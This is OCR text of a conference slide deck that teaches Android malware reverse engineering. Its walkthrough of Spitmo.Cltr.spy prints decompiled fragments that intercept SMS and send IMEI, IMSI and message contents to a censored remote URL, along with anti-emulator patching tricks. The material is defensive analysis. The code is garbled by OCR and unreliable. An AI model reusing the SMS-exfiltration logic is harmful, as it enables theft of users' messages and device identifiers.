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Agenda

> Contents of an
APK: manifest,

.dex, resources...

» Tutorial: reversing
An-
droid /Spitmo.Cltr.spy
» A few other tricks:
logs,
anti-emulator...

» Miscellaneous tools
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Example: APK contents of Android/Spitmo.Cltr.spy
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Binary manifest

$ hexdump -C AndroidManifest.xml | head

00000000 03 00 08 00 bO 1c 00 00 01 00 1c 00 8c 0d 00 00
00000010 3d 00 00 00 00 00 00 OO 00 00 00 00 10 01 00 00 |[|=....
00000020 00 00 00 00 00 00 00 00 1a 00 00 00 34 00 00 0O

Better with aapt

$ aapt dump xmltree criptomovil.apk AndroidManifest.xml
N: android=http://schemas.android.com/apk/res/android
E: manifest (line=2)
android:versionCode (0x0101021b)=(type 0x10)0x1
: android:versionlName (0x0101021¢c)="1.0" (Raw: "1.0")

A
A
A: package="com.antivirus.kav" (Raw: "com.antivirus.kav'")
E

uses-permission (line=8)

A: android:name(0x01010003)="android.permission.
BROADCAST_STICKY"
"android.permission.BROADCAST_STICKY")




Reading the AndroidManifest.xml (2)

Other Swiss Knives

=

» Androguard: collection of Python tools
$ ./androaxml.py -i criptomovil.apk -0

AndroidManifest.human.xml

» Apktool: re-engineering Android apps
$ java -jar apktool.jar d criptomovil.apk output
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Reading package resources

» Same as the manifest: they are not directly readable (for
humans...)

» aapt dump resources works, but output not excellent
» Use Apktool! Great tool :)
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Dalvik Executables !.dex! ﬂ

. Dalvik

&

et

ICELAND

» Similar to Java .class: .class converted to .dex by "dx"
More at:
http://en.wikipedia.org/wiki/Dalvik_(software)

» Opcodes: see http://pallergabor.uw.hu/androidblog/
dalvik_opcodes.html

» Parse with a hex editor. 010 Editor has a Dex template
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Dalvik bytecode - Android /Foncy.Altr
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Dissassembling DEX: you (probably) don't want tosuse

dexdump

descripter : 'Lcom/nl/N

» Ships with the
Android SDK, in
platform-tools/

» Always works (?)

» Qutput difficult to

read:; all classes
together etc.

invoke-direct [vi},
ww-instance v, La
nvoke-direct (w0},

0, vi,

Le

£ type@00cS
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Disassembling DEX

B Fie Edn Optons Buffers Took Help

> Apk

ool: produces

» Code syntax
highlight:
» Emacs:

Elhage or T

» Vim:
» Notepad++:

» UltraEdit:
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034 Page 12

$ java -jar apktool.jar d fjcon.apk output

Exception in thread "main" brut.androlib.AndrolibException:
brut.directory.DirectoryException: java.util.zip.ZipException:
error in opening zip file

at brut.androlib.ApkDecoder.hasSources(Unknown Source)

produces .ddx files ~
Jasmin w/
Dalvik opcodes

$ mkdir ./dedexer
$ java -jar ddx1.18.jar -d ./dedexer/ ./classes.dex

$ cat ./dedexer/com/nl/MyService.ddx

.method public <init>()V
.limit registers 2
; this: vl (Lcom/nl/MyService;)
.line 74
invoke-direct {vl},android/app/Service/<imit> ; <init>()V




Soot finished on Fri Feb 10 14:05:46 CET 2012
Soot has run for 0 min. 2 sec.
./ded-output/optimized-decompiled/[..]/smart/y. java

Decompiled 144 classes out of 152
Retargeting me: 32.708s

Decompilation time: 945.141s

c.getResources( ) .openRawResource(il);

elr8.available()];

= a. jl{).getBytes( )i
KeyGenerator.getInstance( [ ):
cureRandom.getInstance(
Seed(ri2);
init( + T15);
new SecretKeySpeclrid.generateRey().getEncoded(),
= Cipher.getInstance( b
Jinit(c, r18);
new String{r21.dofFinal(r9),

catch (Exception %r25)




» View the Jar with a Java Decompiler (jd-gui, jad, dj...)

» "Java Decompiler" Pros: GUI, save source files, browse Jar,
jump from one class to another

» Cons: not specifically meant for Dalvik, a few bugs (but not
many)
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DecomEiIed Java source code - at a ﬁlance m

¥
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Figure: Android/Spitmo.Cltr.spy
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

» ldentify the entry points.

» Several permissions.
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

» |dentify the entry points.
» Several permissions.

» A service
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

» ldentify the entry points.

» Several permissions.

> A service

» SMS Receiver with high priority
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Tutorial with Android /Spitmo.Cltr.spy

Step 1. Read the manifest

» Identify the entry points.

» Several permissions.

> A service

» SMS Receiver with high priority

» Main

R
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Reversinﬁ MainActivitz m

» onCreate() called when application is launched.

public class MainActivity extends Activity

public void onCreate(Bundle paramBundle)
i
super . onCreate (paranBundle):
Object localObject = Integer.toString(2 * Integer.parselnt(({(TelephonyManager)getSy vice("phone”)).getDeviceld (), substring(8))!
String str = "1° + {String)localObject + "3":
localObject = mew AlertDislog.Builder(this}.create():
({AlertDialog)localObject) . setCance o (false):
{(Alertiialog)localObject). setMessage("\tSu cddigo de activacién: \nin\tAtAt™ + str+ "wn");

{(alertDialog)localObject) . setButton("Ok". new DialogInterface.OnClickListenar()
i

public veid onClick(Dialeg. face paraaDialog face., imt paranint)
1{

parasDialogInterface . dismiss();
Systes,extt(0);
b
}:
((alertDialog)localObject) . show():
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Reversing MainActivitz ﬂ

i

» onCreate() called when application is launched.
» Get 8th character of IMEI.

public class MainActivity extends Activity

public void onCreate(Bundle paramBundle)

super . onCreate (paranBundle):

Object localObject = Integer.toString(2 * Integer.parselnt({({TelephonyManagerigetSystesService(“phone”)).getDeviceId (), substring(8)))
String str = "1° + {String)localObject + "3":

localObject = mew AlertDislog.Builder(this}.create():

({AlertDialeg)localObject) . setCancelable (false),;

({AlertDialog)localObject) . setMessage("\1Su cddigo de activacién: \nAAATAIAL® 4 str+ “\wn");

{(alertDialog)localObject) . setButton("Ok". new DialogInterface.OnClickListenar()
i

public veid onClick(Dialeg. face paraaDialog face., imt paranint)
1{

parasDialogInterface . dismiss();

Systes,extt(0);

}:
(iAlertDialog)localObject). show():
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Reversing MainActivitz ﬂ

» onCreate() called when application is launched.
» Get 8th character of IMEI

» Display alert dialog with activation code "1"+8th char+"3"

public class MainActivity extends Activity

public void onCreate(Bundle paramBundle)
i

super.onCreate (paranBundle):

Object localObject = Integer.toString(2 * Integer.parselnt({({TelephonyManagerigetSystesService(“phone”)).getDeviceId (), substring(8)))
String str = "1° + {String)localObject + "3":

locallbject = mew AlertDialog.Builder(this}.create():

({AlertDialeg)localObject) . setCancelable (false),;

({AlertDialog)localObject) . setMessage("\1Su cddigo de activacién: \nAAATAIAL® 4 str+ “\wn");

{(alertDialog)localObject) . setButton("Ok". new DialogInterface.OnClickListenar()

i

public void onClickiDialogInterface paraabialogInterface, inmt paramint)
1{
parasDialogInterface . dismiss();

Systes,extt(0);

}:
(iAlertDialog)localObject). show():
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Reversing MainActivitz ﬂ

» onCreate() called when application is launched.
» Get 8th character of IMEI

» Display alert dialog with activation code "1"+8th char+"3"
» Exit dialog when button pressed

public class MainActivity extends Activity

public void onCreate(Bundle paramBundle)
{
super.onCreate (paranBundle):
Object localObject = Integer.toString(2 * Integer.parselnt({({TelephonyManagerigetSystesService(“phone”)).getDeviceId (), substring(8)))
String str = "1° + {String)localObject + "3":
locallbject = mew AlertDialog.Builder(this}.create():
((alertmalog)localObject) . setCancelable (false);
({AlertDialog)localObject) . setMessage("\1Su cddigo de activacién: \nAAATAIAL® 4 str+ “\wn");
{(alertDialog)localObject) . setButton("Ok". new DialogInterface.OnClickListenar()
i

public void onClickiDialogInterface paraabialogInterface, inmt paramint)
1{
parasDialogInterface . dismiss();

Systes,extt(0);

}:
(iAlertDialog)localObject). show():
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Reversing KavService

How to start a service

» startService() — onCreate() — onStartCommand() (or
onStart() for old SDKs)

» bindService() — onCreate()
$ grep -ri startService ./smali
$ grep -ri bindService ./smali

Not used (yet)?
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Reversing SmsReceiver with Java Decompiler

pubtic vold SARSERIRNIContest parseContest, Intent paraalatant)
i

4 y
41 {{iparsalntent. gethctionth equals(®android intent . action. WEM_OUTGOING CALL®)) &6 [iparafintent. gethetion(]. equ

“android. intent. action BOOT_COMF

boslean Boal = “MnTivhrusirabled® 1;

Bundle TocalBundle = parmalntent.getExteas(];
i (SmsMessage| | Jmall ],
chject Locali®lect = G4rSiarichatastringiparancontent)

i (lscalaundle 1= mull)

TETTTT ATTaTETIR e = TR TeCT T Toca T e QT T RauTT
i - o ength

int k;
for (imt 1 = 0; 1 « array0fSashecsage, langth; i+s)
1

ar | = { larrayofobject]z} };
STring 8172 = arrayOfSasMessageii] . getMessageBody (). testring(l:
Siring strl = arrayOfSases 1l.getdriginatingaddressiii

lecalobject[0] = URLEncaser, sncodeistrl);
lecalOblectil] = URLEncoder. encode(str];
localObject = String. format (*&fros-Asitest-As". locallbject}:

1
Af v 1= 0]
GetRequest { (String) locallbjecth
if (beall
sbertBroageast ()

else

Firstichedulelnstalled = true:
KaySaryice Schedulelparascontest, 300
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Reversinﬁ SmsReceiver with Java DecomBiIer m

public void onReceive(Context paramContext, Intent paramIntent)
{
AppContext = paramContext;
if ((!paramIntent getAction(). equals({“android.intent. action NEN OUTGOING CALL"))
&6 (!paramIntent.getAction().equals("android.intent.action, BOOT_COMPLETED")))
{
boolean bool = GetBoolValue(paramContext, "AntivirusEnabled"):
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Reversinﬁ SmsReceiver with Java DecomBiIer m

public static boolean GetBoolValue(Context paramContext, String paramString)
{
boolean bool = false;
if (paramContext != null)
bool = paramContext.getSharedPreferences("kav", 0).getBoolean(paramString, false):
return bool;
3
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Reversinﬁ SmsReceiver with Java DecomBiIer m

boolean bool = GetBoolValue(paramContext, "AntivirusEnabled"):
if (bool)
£

Bundle localBundle = paramIntent.getExtras();

((SmsMessage[] )null);

Object localObject = GetStaticDataString(paramContext);

int j = 0;

if (localBundle != null)

{
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Reversing SmsReceiver with Java DecomBiIer m

if tiucalmndle '= null)
{
Object[] arrayOfobject = (Object[])localBundle.get("pdus");

SmsMessage[] arrayOfSmsMessage = new SasMessagelarrayOfObject.length]:
inmt k:

for (imt 1 = 0; 1 < arrayOfSmsMessage.length; i++)
{

arrayOfSmsMessage[i] = SmsMessage.createFromPdu((bytel])arrayofobject(il);:
String str2 = arrayOfSmsMessage[i] . getMessageBody().toString():
String strl = arrayOfSmsMessageli] getOriginatingAddress();
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Reversinﬁ SmsReceiver with Java DecomBiIer m

STring SIrZ = arrayursmse gell.get geBoay | ). TOSTFING L) ;
String strl = arrayOfSmsMessage[i].getOriginatingAddress();

StringBuilder localStringBuilder = new StringBuilder(String.value0f(localObject)):
localObject = new Object[2];

localObject[0] = URLEncoder.encode(strl);

localObject(1] = URLEncoder.encode(str2);

localObject = String. format ("&from=%s&text=%s", localObject);

k=1;
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Reversinﬁ SmsReceiver with Java DecomBiIer ﬂ

LOCALUD]eCT L] = UKLENCOQer,encoaesirs);
localObject = String.format ("&from=%s&text=%s", localObject);
k =1;
}
if (k !'=0)
GetRequest ((String)localObject):
if (bool)
abortBroadcast();
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Reversing SmsReceiver

Things we know

» onReceive processes incoming SMS messages

» AntivirusEnabled is a flag, if not enabled, won't do much.
» Calls GetStaticDataString

» Retrieves SMS body and originating phone number

» Formats a string: &from=0RIGIN&text=BODY

» Calls GetRequest

» AntivirusEnabled true: don’t forward SMS to others

» What does GetStaticDataString() do?

» The result of GetStaticDataString() is overwritten...?
» What is variable k?

What does GetRequest() do?

v
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GetStaticDataStrin

IPR2023-01160
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GetStaticDataString

strl = IMSI
str2 = IMEI
str3 = 1 + 8th char IMEI + 3

localObject2 =

remove + in
phone number

to = phone number
without +
i = IMSI
m = IMEI
aid = 1 + 8thchar + 3
h = boolean AntivirusEnabled

IPR2023-01160
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Reversing SmsReceiver

Things we know

» onReceive processes incoming SMS messages

» AntivirusEnabled is a flag, if not enabled, won't do much.
» Calls GetStaticDataString: 7to=PHONE&i=IMSI&m=IMEI. ..
> Retrieves SMS body and originating phone number

» Formats a string: &from=0RIGIN&text=BODY

» Calls GetRequest

» AntivirusEnabled true: don't forward SMS to others

» The result of GetStaticDataString() is overwritten...?
» What is variable k?

» What does GetRequest() do?

IPR2023-01160
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p2}, Landroid/co

}. Lijava/lang/String;->equaleilLja

}. Ljava/lang/String;->equals
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A look into Smali

if ( intent.getAction().equals(
"NEW_OUTGOING...")) {
cond_0;

if (! intent.getAction().equals(
"BOOT_COMPLETED") {
cond_2;

}
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A look into Smali
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A look into Smali

cond 0:
FirstSchedulelnstalled = true;
KavService->Schedule(0Ox1le);

cond_1: end

EER cond 2:.

TotalHideSms =
GetBoolValue("AntivirusEnabled");
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A look into Smali
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A look into Smali

lang/String;
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Findings with Smali

>

Bad decompilation of first initial test:

// WRONG
if (! intent.getAction().equals("OUTGOING_CALL") &&
! intent.getAction() .equals ("BOOT_COMPLETED")) {

}
// CORRECT
if (intent.getAction() .equals("0OUTGOING_CALL") {

} else if (! intent.getAction().equals("BOOT_COMPLETED")) {
}

Missing variable names: TotalHideSms (AntivirusEnabled flag)
and SendReport (k)

Wrong decompilation of string composition: GetString
initialized to GetStaticDataString() and then append
&from=0RIGIN&text=BODY

IPR2023-01160
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Reversing SmsReceiver

Things we know

» If OUTGOING _CALL, schedule KavService

Build string, initialize it to: 7to=PHONE&i=IMSI&m=IMEI. ..
Retrieves SMS body and originating phone number

Append &from=0RIGIN&text=BODY to string

Calls GetRequest if SendReport true

AntivirusEnabled true: don’t forward SMS to others

v

v

v

v

v

» What does GetRequest() do?

IPR2023-01160
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GetRequest: DecomEilation failure 7 -

lic static int GetReguest(String paramString)

/ Byte code
0: new 63 java/lang/StringBullder
+ dup
+ invokestatic &7 com/antivirus/kav/SesReceiver:LinkAntivirus  ()Ljava/lang/String:
invokestatic 73 java/lang/String:valueOf (Ljava/lang/Object: JLjava/lang/String:
invokespecial 74  java/lang/StringBuilder:<init> (Ljava/lang/String: )V
+ aload_D
: invokevirtual 78  java/lang/StringBuilder:append (Ljavaslang/String: )Ljava/lang/StrangBuilder;
: invokevirtual Bl  java/lang/StringBuilder:toString {)Ljava/lang/string:
: astore_2
aconst_null
astors_l1
new B3 java/net/URL
dup
aload_2
: invokespecial B4  java/net/URL:<inits [Ljava/lang/String; )V
astore_l
aload_1
1 astore_l
aload_l1
: invokevirtual B8 java/net /URL:openConnection (JLjava/net/URLConnection;
: astore_1
: aload_1
3 checkcs

Y
TR

R

22:
23

BYY

WO W W
A dme

S
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Solution? Use another tool!

» Use another decompiler (e.g Jad)

» Or read smali
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ringBuilder (String.valueOf (Link&Antivirus())))

int-1;
HttpURLConnection httpurlconnection;

obj = ((URL) (obj)).openConnection();

= -5;
ak label0;

httpurlconnection = (HttpURLConnection)obj;

1
i = httpurlconnection.getResponseCode();
1if(1 == 200)

.append (




urlco

nnection

lconnection

InsomniHac

.getRespons

IPR2023-01160
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GetRequest decompilation

A4

LinkAntivirus(): obfuscated string

» URL = de-obfuscated string + parameter
Open URL
Read HTTP response

If HTTP response is ok (200), read header ForgetMessages:
store in AntivirusEnabled flag

v

v

v
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Spitmo: conclusion

» Displays a fake 3-digit activation code. 2nd digit is based on
IMEI

» KavService not used. Missing start command?

» SMS forwarded to a remote URL:
http: //CENSORED?to=PHONE&i=IMSI&m=IMEI-
&aid=ACTIVATIDNCDDE&h=BUDLEAN&fr0m=URIGIN&text=BUDYJ

Read smali when decompilation fails I
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Understanding access$0

.method static synthetic access$0(Lcom/tapjoy/TICOffersWebView;)
Landroid/widget/ProgressBar;
.locals 1
.parameter

.prologue
.line 28
iget-object v0, p0, Lcom/tapjoy/TICOffersWebView; ->progressBar:Land

return-object vO
.end method

Compiler created

» Java: Inner classes can access private members of their
enclosing class.

» Byte-code: creates synthetic access$0
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Anti-emulator tricks

» 46a808cfd5beafabeb0aefee867bf02025dc2849 =
shalsum("generic")

» 5a374dcd2ebeb762b527af3abbab6072a4d24493 =
shalsum("sdk") ...

» Different behaviour if on an emulator :(
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Solution: modify the application

Modify the smali code

1. Fix the test

2. Recompile the smali files

$ ./apktool b -d ~/honeynet/smali-re modified.apk
$ jarsigner -verbose -keystore test.ks modified.apk test
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Adding debug logs

Modify & recompile smali! No need to have source code :)
Example: Insert calls to Log.v

const-string v6, "AXELLE str: "
invoke-static {v6, v0}, Landroid/util/Log;->v(Ljava/lang/String;
Ljava/lang/String;)I

» call = invoke-static

» v0 = what to log

» re-use variables with caution...
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Customize Your Emulator

211a

» Patch
emulator-arm

» Search for

4
-1
B
B0
£°
£
8
£
o
-
1o

+CGSN:
IMEI

» Search for 00237080 47 44 S g Ea . i _:_ 1L? .+ CHIL: |
+CIMI IMSI i P00 4 i : 30 3 : 43 .-.tuumﬂ'}.:TE“:I:":

|HEE=1 .+CCWA=1.+C|
INOD=0.+
| 55H=0,1.

IPR2023-01160
|nsomniHack 1 2.AcApyiille 34 /42 KASPERSKY EX1034 Page 54




Customize Your Emulator

AL ﬁ 2:15PM

» Patch
emulator-arm

» Search for
+CGSN:
IMEI

» Search for
+CIMI: IMSI
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th

Androguard’s

$ ./androlyze.py -i criptomovil.apk -x

PERM

READ_PHONE_STATE

Luomfantivirus/kav/ﬂainAcLLviLy; onCreate
(Landroid/os/Bundle;)V (@onCreate-BB@0x0-0x16)

---> Landroid/telephony/TelephonyManager;
getDeviceld ()Ljava/lang/String;
Lcom/antivirus/kav/SmsReceiver; GetStaticDataString
(Landroid/content/Context;) Ljava/lang/String;
(@GetStaticDataString-BB@0x0-0x10) >
Landroid/telephony/TelephonyManager;

getLinellNumber ()Ljava/lang/String;

INTERNET

Lcom/antivirus/kav/SmsReceiver; GetRequest

(Ljava/lang/String;}I (@GetRequest-BB@0x3c-0x3c)
> Ljava/net/URL; openConnection ()

Ljava/net/URLConnection;




Similarities and differences

Conclusion: Those samples of Riskware/CounterClank and
Android/Plankton are not similar :)
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Visualization of APK: Androguard + cytoscape

Androguant XGHIML SuiCanFainfectod apk

IPR2023-01160
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Visualization of APK: Androguard + cytoscape
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Androguard + gephi
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And ro____g'uard -l-___g____e__p_hi

IPR2023-01160
12 - A Apwrille  a3gsa2 KASPERSKY EX1034 Page 61




APKlnspector: a front-end

AV W

1 Ox0 const-string vo . [string® 163
2 Ox4 const-string v1 . [string® 10 |
3 CxB const-string v2 . [string3 0]
4 oxc invoke-virtual v, v1, v2 , [methi 88
5 0x12 move-result-object v
8 0x14 const-string w1, [string® 3 |
7 0x18 const-string v2 , [string® © |
B 0xic invoke-virtual v, vl v2  [meth 88
9 022 move-result-object vo
20 0x24 const-string v1 , [string® 192 o]
11 0228 const-string v2 , [string® 0 |
12 On2c invoke-virtual w0, vl vZ [meth@ 68
13 %32 move-result-object vo
14 0x34 return-object w0
15

CFG Dalvik ByteCode Small Java Callinjout Permission  AndroidManifestxm|

(Ljava/lang/CharSequenc

(Ljavalang/CharSequer

{Ljavatang/CharSequer

Sideview ~4oix}
Files Stings Classes Methoms '

¥ MatnActivity$l: »

P MainActivity;

# Rsattr;

i Rydrawabie:

@ Rslayout;

@ Ristring.

L

@ smsReceiversl,

# smsReceiver;
<diinit>

%

Savesoo!
anfleceive

Please input the strings

Fifter W Search

A Apvrille
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APKlnspector: a front-end

L
| e R VW - SideView —fiDjx
CFG. Dalvik ByleCode Smali java Call injout Permrissian | Androidsanifest.oml Files Stings Classes Methods |
sesrnsse s Rermissian: READ_PHONE_STATESs»sssrassmmmsmmmsmmssnevesiee - com
+ antivirs
APE: L phony Telepl T o d (1L 3
Mathod: Loomjantivinis/kavMainActivity; onCreate {Landroidéos/Bunde; 1V
Where: {@onCreate-BRG0x0-0x16)
APY: La tLine1n iy String
Method taticDataString (Landroidicontent/Context: W javatang/st)
Where

Method: LeomjsntivinuskavSmsReceiver; GetStaticDatasiring {LandroidicontentiConte:
Whare. | @GetStaticDataString BBS0x0-0x18)

Ljavanang/st

AP L fephoeny Telep - getDeviceld (Ljavafang/Siring;
hvirus feau/SmasRecelver; GetStaticDatasiring {Landridicantent/Conteat-| avajang/sti
Where: (@GetStaticDataString-BB@0x0-0x20)

P L phory Tebep " O ik Al
Method: Leomjantivinis/kavSmsRecelver, GetStaticDatas:
Where: TStaticDataSiring BRG0x92-0xd2)

tEntiConte:

Please ingut the strings

Filter Search
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8.8 s5sa:Androidil

A sorry!

Application Email (in process
com.android.email) is not
responding.

«
g
@
-l
3
£
5
z
-
u
T
B
=]
B
g
-
E
5
E
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DroidBox: when does it work?!

—
Ml @ 1031 A
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DroidBox: when does it work?! m

'home/axelle/prog/samples/Android-Qicsomos/original/69b9691a8274al7cdc22e9681b3elc74.:

service -

dexload -

1(;0 ISIO 200 2‘5’0
timestamp

IPR2023-01160
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DroidBox: when does it work?!

/home/axelle/prog/samples/Android-Qicsomas/original/65b9691a82 74a1 Todc 2 2e9681b3e1c 74 apk




Conclusion

| use from time to time

» Androguard: similarities,

| love differences, manifest, permissions

> Aadrold Emulator » ded, IDA Pro and dedexer:

» Apktool alternate disassemblers/decompilers

» baksmali ’
> dexjar
» Java Decompiler » Droidbox: bugs

» Androguard visualization: |

pobably need rining -

» AndBug: a debugger, » AXMLPrinter: included in other
not immediate to use tools
» AndroidAuditTools » APKlnspector, Manitree: perhaps,
. but never encountered a real use
case

\
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Thank You !

Follow us on twitter: @FortiGuardLabs

Axelle Apvrille

aka Crypto Girl
/mobile malware reverse engineering/
aapvrille@fortinet.com

-
Slides edited with LOBSTER=IATEX +Beamer + Editor
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